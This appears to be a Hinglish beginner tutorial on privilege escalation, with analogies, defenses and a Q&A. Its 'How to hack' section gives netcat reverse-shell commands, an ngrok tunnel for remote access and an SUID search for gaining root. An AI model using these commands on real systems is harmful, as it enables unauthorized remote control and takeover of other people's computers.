

Privilege Escalation Kya Hai Aur Ye Kaise Kaam Karta Hai

Made by Syed Ghous

Introduction

Real-Life Example: Hotel ki Chabi

Socho aap ek bade hotel mein rukne gaye ho.

1. **Aam User (Guest):** Aapke paas aapke kamre (Room No. 101) ki chabi hai. Aap sirf apne kamre mein ja sakte ho, wahan ki TV, bed aur bathroom use kar sakte ho. Aap dusre kisi kamre mein nahi ja sakte, aur na hi hotel ka main computer access kar sakte ho.
2. **Privilege Escalation (Chabi ki Chorri):** Ab socho, aapko kisi tarah hotel ke **Manager** ki "Master Key" (Jo saare kamre khol sakti hai) mil jaye. Ab aap us chabi se kisi bhi kamre mein ghus sakte ho, manager ka office khol sakte ho, aur hotel ki settings badal sakte ho.

Privilege Escalation kya hai? Computer ki duniya mein, jab hacker kisi system mein ghusta hai, to wo pehle ek "**Aam Guest**" (Limited User) hota hai. Wo **Privilege Escalation** karke system ki "**Master Key**" (Admin/Root access) haasil kar leta hai.

Simple Words mein:

- **Privilege:** Aapka darja (ke aap kya-kya kar sakte ho).
- **Escalation:** Darja badha dena (Level-up karna).

Asliyat mein: Ek chhota sa hacker jab aam user se "**System ka Malik**" (**Administrator**) ban jata hai, to iska matlab usne **Privilege Escalation** kar li hai.

Kyun karta hai hacker? Kyunk aam user bankar wo sirf apni files dekh sakta hai, lekin **Malik (Admin)** bankar wo pura computer tabah kar sakta hai, data chura sakta hai, ya naye virus daal sakta hai.

Privilege Escalation Kaam Kaise Karta Hai

Privilege Escalation ka kaam karne ka tareeqa bilkul aisa hai jaise koi shaks system ki "**kamzori**" (**weakness**) ka faida utha kar "**shortcut**" se upar tak pahunch jaye.

Hacker ise 3 aasaan steps mein karta hai:

1. Information Gathering (Jaasoosi)

Hacker sabse pehle system ko scan karta hai taake use pata chale ke kahan koi galti ya "khatra" chuta hua hai.

- **Misaal:** Wo check karta hai: "Kya koi aisi file hai jise Admin ne galti se 'Sab ke liye khula' (Everyone Read/Write) chhora hua hai?" ya "Kya system koi aisa purana software chala raha hai jismein koi bug hai?"

2. Finding the "Galti" (Vulnerability Discovery)

Is step mein hacker ko "Jaadui Galti" milti hai. Yeh aam taur par 2 tarah ki hoti hain:

- **Misconfiguration (Galat Setting):** Admin ne kisi aisi file ko "Edit" karne ki ijazat di hui hai jise sirf Admin ko edit karna chahiye tha.
- **Software Bug:** Kisi program ke code mein aisi galti hai ke agar usmein ek khaas tarah ka command dala jaye, to system use "Admin" ki power se execute (chala) deta hai.

3. Execution (Admin ban jana)

Ab hacker us galti ka istemal karke apna **"Privilege Escalation Script"** run karta hai.

- **Misaal:** Hacker script chala kar system ko dhoka deta hai: *"Dekho, main Admin hoon, mujhe ye system files edit karne do."*
- System check karta hai, aur kyunke hacker ne "Galti" (vulnerability) ko exploit kar liya hota hai, system use "Admin" samajh kar permission de deta hai.

Ek Aasaan Misaal (School wala Logic):

Socho school ke "Principal" (Admin) ne apna **Computer** bina lock kiye chhor diya aur wo bahar chale gaye.

1. **Jaasoosi:** Aapne dekha ke Principal bahar gaye hain.
2. **Galti:** Computer unlocked hai.
3. **Exploitation:** Aapne Principal ke computer se apna naam "Fail" se "Pass" kar diya.

Privilege Escalation ka Result:

Aapne apni power (Privilege) ko "Student" level se "Principal" level par **Escalate** (Upgrade) kar liya!

Master Summary (Notes ke liye):

Stage	Kaam
Scanning	System ki galtiyan dhoondna.
Exploitation	Galti ka faida utha kar Admin permission lena.
Payload	Admin bante hi apni marzi ki commands chalana.

Technically: Hacker hamesha **"Exploits"** ka use karta hai (code ke chote tukde). Jaise hi wo exploit chalta hai, hacker ka user account **"System"** ya **"Administrator"** account mein badal jata hai.

Hackers Privilege Escalation Ka Use Kaise Karte Hain

Hacker jab Privilege Escalation karna chahte hain, to wo random kaam nahi karte. Wo ek "Systematic Approach" (ek khaas tarteef) follow karte hain.

Chalo isay samajhte hain ke wo "Shortcut" kaise dhundte hain:

Hacker ka Workflow: Step-by-Step

Step 1: Enumeration (Jaasoosi aur Information Gathering)

Hacker sabse pehle ye dekhta hai ki uske paas abhi kya power hai. Iske liye wo whoami /priv jaisi commands use karta hai.

- Hacker ka sawal: "Kya mujh mein wo powers hain jo Admin ke paas hoti hain, lekin unhe use nahi kiya gaya?"

Step 2: Automated Scanning (Shortcut dhoondna)

Hacker har file ko hath se check nahi karta. Wo "Scripts" ka use karta hai. Sabse mashhoor tool ka naam hai WinPEAS (Windows Privilege Escalation Awesome Script).

- Kaam kaise karta hai: Hacker ye script target computer par upload karta hai aur chalata hai. Ye script 2 minute mein poora computer scan karti hai aur hacker ko bold letters mein dikhati hai:
 - *"Hey! Ye file 'Admin' ki hai lekin ise koi bhi edit kar sakta hai!"*
 - *"Hey! Ye purana software 'Vulnerable' hai, isay update nahi kiya gaya!"*

Step 3: Exploiting (Galti ka faida uthana)

Jab hacker ko galti mil jati hai (jaise koi insecure Service), to wo Exploit ka use karta hai.

- Exploit kya hai? Ye ek chhota sa program hota hai jo system ki us galti mein "kheera" (key) ki tarah fit ho jata hai.
- Jab wo fit hota hai, to system hacker ko Admin ki access de deta hai.

Step 4: Persistence & Cleanup (Nishan mitana)

Admin banne ke baad, hacker apna permanent account bana leta hai ya apni marzi ka malware system ke deep folder mein daal deta hai, aur phir logs (record) delete kar

deta hai taake kisi ko pata na chale ke koi ghusa tha.

Ek Asaan Misal (Real Life):

Socho aap ek bank mein ho aur aapko Vault (Tijori) kholni hai:

1. Enumeration: Aap dekhte ho ki guard kahan khada hai aur CCTV kahan hai.
2. Scanning (WinPEAS): Aapko pata chalta hai ki bank ka ek "Back door" ka lock kharab hai (Galti mil gayi).
3. Exploiting: Aap us kharab lock mein apni chabi dalte ho aur wo khul jata hai.
4. Admin Access: Ab aap tijori ke andar ho (Privilege Escalated).

Master Summary:

- Tools: Hacker WinPEAS, LinPEAS (Linux ke liye), aur Metasploit ka istemal karte hain.
- The Goal: Unka maqsad "System" ya "Root" user banna hota hai, kyunki wahi computer ka sabse bada boss hota hai.
- Defense: Ek achha defender (Blue Team) hamesha apne system ko patch rakhta hai taake "Galtiyan" (Vulnerabilities) na rahein aur WinPEAS jaisi scripts kuch na dhoond sakein.

How to hack

Part 1: Local Hacking (Aap dono ek hi Wi-Fi par ho)

Ye sab se aasaan hai. Ismein kisi extra cheez ki zaroorat nahi hoti.

1. **Aap (Attacker) Kali Linux mein:**
 - Terminal kholo aur likho: ip a (apna IP note kar lo, jaise 192.168.1.5).
 - Apna "khaan" (Listener) kholo: nc -lvp 4444
2. **Dost (Target) apne PC par:**
 - Apna CMD kholo (ya Linux hai to Terminal).
 - Wahi command likho: nc 192.168.1.5 4444 -e cmd.exe (Windows ke liye) ya nc 192.168.1.5 4444 -e /bin/bash (Linux ke liye).
3. **Result:** Aapke Kali terminal mein uske PC ka access aa jayega.

Part 2: Remote Hacking (Alag-alag gharon mein ho)

Internet par router beech mein hota hai, isliye seedha IP kaam nahi karta. Iske liye **Ngrok** "Real" aur sab se behtareen tareeqa hai.

1. **Aap (Attacker) Kali Linux mein:**
 - [Ngrok.com](https://ngrok.com) par jao, sign-up karo aur **Linux** wala file download karo.
 - Kali mein terminal kholo aur likho: ./ngrok tcp 4444
 - Ngrok aapko ek link dega, jaisa: 0.tcp.ngrok.io:12345

- **Ye link apne dost ko copy karke bhej do.**
- 2. **Listener kholo (Aap):**
 - Usi Kali mein naya terminal kholo aur likho: `nc -lvnp 4444`
- 3. **Dost (Target) apne PC par:**
 - Wo apna CMD/Terminal kholega aur likhega: `nc 0.tcp.ngrok.io 12345 -e cmd.exe`
 - (Note: *Yahan 0.tcp.ngrok.io aur 12345 wo hain jo Ngrok ne diye*).
- 4. **Result:** Internet ke paar se uska PC aapke Kali terminal mein khul jayega!

Part 3: Privilege Escalation (Ab Root/Admin banna)

Jab access mil jaye, to aap abhi "kamzor" user ho. "Taakatwar" (Root) banne ke liye ye karo:

1. **System Check:** Jab aapka terminal khul jaye, to likho: `whoami`. Agar wo "User" dikhaye, to aapko Escalation karni hai.
2. **SUID Files dhundo:** Terminal mein likho: `find / -perm -u=s -type f 2>/dev/null`
 - Ye command aapko wo files dikhayegi jo "Root" ki taakat rakhti hain.
3. **Exploit:** Agar koi aisi file dikhe jo system ki ho, to usay run karke dekho. Aksar GTFOBins (ek website) par har file ka "exploit" code mil jata hai.
 - Bas Google par likhna: "[File ka naam] GTFOBins"
 - Wahan wo aapko ek line ki command denge, wo copy karke apne terminal mein paste kar dena. **Boom! Aap Root ban gaye.**

Summary (Aasaan Words mein):

- **Aapka Kali:** Listen karta hai (`nc -lvnp 4444`).
- **Dost ka PC:** Connect karta hai (`nc IP Port -e cmd.exe`).
- **Privilege:** find wali command se wo rasta dhundo jisse aap Root ban sako.

Kya aap abhi Kali use kar rahe ho? Pehle Local connect karke dekho, jab wo chal jaye to batana, phir Remote (Ngrok) try karenge. **Koi confusion hai abhi?**

Privilege Escalation Se Bachne Ke Tareeqe

1. Regular software updates aur patches install karna.
2. Strong aur unique passwords use karna.
3. Least privilege principle follow karna — har user ko sirf utna access dena jitna zaroori ho.
4. System logs aur activities ko monitor karna.
5. Antivirus aur endpoint protection tools ka istemal karna.
6. Multi-factor authentication enable karna.

Conclusion

Privilege Escalation ek serious security threat hai jo hackers ko system ke poore control tak le ja sakta hai. Isse bachne ke liye organizations aur individuals dono ko apne systems ko secure rakhna chahiye, regular updates aur security best practices follow karni chahiye.

Privilege Escalation Related 10 Questions and Answers

Q1: Privilege Escalation kya hota hai?

A1: Ye ek hacking technique hai jisme attacker apne access level ko unauthorized taur par badhata hai.

Q2: Privilege Escalation ke main types kitne hain?

A2: Do — Vertical aur Horizontal Privilege Escalation.

Q3: Vertical Privilege Escalation ka example kya hai?

A3: Jab ek normal user administrator rights hasil kar leta hai.

Q4: Horizontal Privilege Escalation ka example kya hai?

A4: Jab ek user doosre user ke account tak access kar leta hai.

Q5: Hackers privilege escalation ke liye sabse zyada kis cheez ka faida uthate hain?

A5: Software vulnerabilities aur misconfigured permissions ka.

Q6: Privilege Escalation se bachne ka sabse effective tareeqa kya hai?

A6: Regular updates aur least privilege principle follow karna.

Q7: Token Manipulation kya hoti hai?

A7: Access tokens ko modify karke higher privileges hasil karne ka process.

Q8: DLL Hijacking kis operating system mein common hai?

A8: Windows operating system mein.

Q9: Social Engineering ka role privilege escalation mein kya hai?

A9: Attackers users ko trick karke unke credentials hasil karte hain.

Q10: Privilege Escalation ka main goal kya hota hai?

A10: System ke sensitive data aur administrator-level access hasil karna.

Made by Syed Ghous